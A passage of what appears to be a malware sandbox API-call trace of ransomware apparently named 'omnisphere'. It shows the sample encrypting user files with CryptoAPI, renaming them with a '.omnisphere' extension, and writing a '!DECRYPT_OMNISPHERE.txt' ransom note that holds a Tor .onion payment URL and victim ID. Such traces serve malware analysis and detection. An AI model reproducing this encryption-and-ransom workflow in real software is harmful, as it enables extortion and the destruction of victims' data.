hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.118] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.118] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.118] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.118] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.118] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.118] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.119] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0063.119] CryptReleaseContext (hProv=0x163bca0, dwFlags=0x0) returned 1 [0063.119] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xb9f7, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.119] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.120] GetProcessHeap () returned 0x1600000 [0063.120] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x282) returned 0x16524b8 [0063.120] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dFw90W0ozbqlw.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dfw90w0ozbqlw.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dFw90W0ozbqlw.mkv.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dfw90w0ozbqlw.mkv.omnisphere")) returned 1 [0063.120] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\dFw90W0ozbqlw.mkv.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\dFw90W0ozbqlw.mkv.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\dFw90W0ozbqlw.mkv.omnisphere.id" [0063.120] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dFw90W0ozbqlw.mkv.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dfw90w0ozbqlw.mkv.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.121] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.122] CloseHandle (hObject=0x3a8) returned 1 [0063.126] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0063.127] CloseHandle (hObject=0x3a4) returned 1 [0063.127] SetEndOfFile (hFile=0x3a0) returned 1 [0063.127] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.130] CloseHandle (hObject=0x3a0) returned 1 [0063.131] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\dFw90W0ozbqlw.mkv" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.131] GetProcessHeap () returned 0x1600000 [0063.131] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1652ce0 [0063.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.131] GetProcessHeap () returned 0x1600000 [0063.131] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641c78 [0063.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641c78, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.131] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.131] GetProcessHeap () returned 0x1600000 [0063.131] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f9b0 [0063.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f9b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.131] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.131] GetProcessHeap () returned 0x1600000 [0063.131] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c058 [0063.131] PathCombineW (in: pszDest=0x163c058, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.131] GetProcessHeap () returned 0x1600000 [0063.131] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1655590 [0063.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.132] WriteFile (in: hFile=0x3a0, lpBuffer=0x1655590*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1655590*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.132] CloseHandle (hObject=0x3a0) returned 1 [0063.132] GetProcessHeap () returned 0x1600000 [0063.132] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1652ce0 | out: hHeap=0x1600000) returned 1 [0063.132] GetProcessHeap () returned 0x1600000 [0063.132] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fe80 [0063.132] PathCombineW (in: pszDest=0x163fe80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.133] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.133] CloseHandle (hObject=0x3a0) returned 1 [0063.133] GetProcessHeap () returned 0x1600000 [0063.133] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fe80 | out: hHeap=0x1600000) returned 1 [0063.133] GetProcessHeap () returned 0x1600000 [0063.133] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f300 | out: hHeap=0x1600000) returned 1 [0063.133] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c37250, ftCreationTime.dwHighDateTime=0x1d4d48b, ftLastAccessTime.dwLowDateTime=0xe42ba110, ftLastAccessTime.dwHighDateTime=0x1d4cf43, ftLastWriteTime.dwLowDateTime=0xe42ba110, ftLastWriteTime.dwHighDateTime=0x1d4cf43, nFileSizeHigh=0x0, nFileSizeLow=0x1414c, dwReserved0=0x0, dwReserved1=0xed, cFileName="DUv6 W1yQ.jpg", cAlternateFileName="DUV6W1~1.JPG")) returned 1 [0063.133] GetProcessHeap () returned 0x1600000 [0063.133] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6a) returned 0x1649e70 [0063.133] PathCombineW (in: pszDest=0x1649e70, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="DUv6 W1yQ.jpg" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\DUv6 W1yQ.jpg") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\DUv6 W1yQ.jpg" [0063.133] StrStrW (lpFirst=".omnisphere", lpSrch=".jpg") returned 0x0 [0063.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\DUv6 W1yQ.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\duv6 w1yq.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.134] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=82252) returned 1 [0063.134] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x13c28, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.134] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.134] GetTickCount () returned 0x1150193 [0063.134] GetTickCount () returned 0x1150193 [0063.134] GetTickCount () returned 0x1150193 [0063.134] GetTickCount () returned 0x1150193 [0063.134] GetTickCount () returned 0x1150193 [0063.134] GetTickCount () returned 0x1150193 [0063.134] GetTickCount () returned 0x1150193 [0063.134] GetTickCount () returned 0x1150193 [0063.134] GetTickCount () returned 0x1150193 [0063.134] GetTickCount () returned 0x1150193 [0063.134] GetTickCount () returned 0x1150193 [0063.134] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] GetTickCount () returned 0x1150193 [0063.135] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163c498) returned 1 [0063.136] CryptImportKey (in: hProv=0x163c498, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639a28) returned 1 [0063.136] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.136] CryptDestroyKey (hKey=0x1639a28) returned 1 [0063.136] CryptReleaseContext (hProv=0x163c498, dwFlags=0x0) returned 1 [0063.136] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1414c, lpName=0x0) returned 0x3a4 [0063.136] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1414c) returned 0x3450000 [0063.137] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163c0e0) returned 1 [0063.138] CryptImportKey (in: hProv=0x163c0e0, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639b68) returned 1 [0063.138] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.139] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 